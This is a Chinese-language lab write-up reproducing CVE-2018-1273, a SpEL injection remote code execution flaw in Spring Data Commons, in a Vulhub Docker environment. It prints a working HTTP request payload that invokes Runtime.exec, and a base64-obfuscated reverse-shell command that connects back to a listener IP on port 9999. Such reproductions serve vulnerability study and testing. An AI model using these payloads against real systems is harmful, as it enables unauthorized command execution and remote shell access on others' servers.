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Spring Data Commons 远程命令执行漏洞 CVE-2018-1273

漏洞描述

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

参考链接:

  • https://pivotal.io/security/cve-2018-1273
  • https://xz.aliyun.com/t/2269
  • https://mp.weixin.qq.com/s?__biz=MzU0NzYzMzU0Mw==&mid=2247483666&idx=1&sn=91e3b2aab354c55e0677895c02fb068c

环境搭建

Vulhub执行下面命令启动漏洞环境:

docker-compose up -d

稍等一会,环境启动后,访问http://your-ip:8080/users,将可以看到一个用户注册页面。

image-20220301152041573

漏洞复现

参考前面链接中的Payload,在注册的时候抓包,并修改成如下数据包:

POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/awesome_poc")]=&password=&repeatedPassword=

image-20220301152743774

执行docker-compose exec spring bash进入容器中,可见成功创建/tmp/awesome_poc,说明命令执行成功:

image-20220301152752322

构造反弹shell的Payload(注意,Base64编码后需要再进行URL编码,否则将反弹失败):

# URL编码前
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYxCgo=}|{base64,-d}|{bash,-i}

# URL编码后
bash -c {echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYxCgo%3D}|{base64,-d}|{bash,-i}
# Payload
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYxCgo%3D}|{base64,-d}|{bash,-i}")]=&password=&repeatedPassword=

监听9999端口,成功接收反弹shell:

image-20220301153412308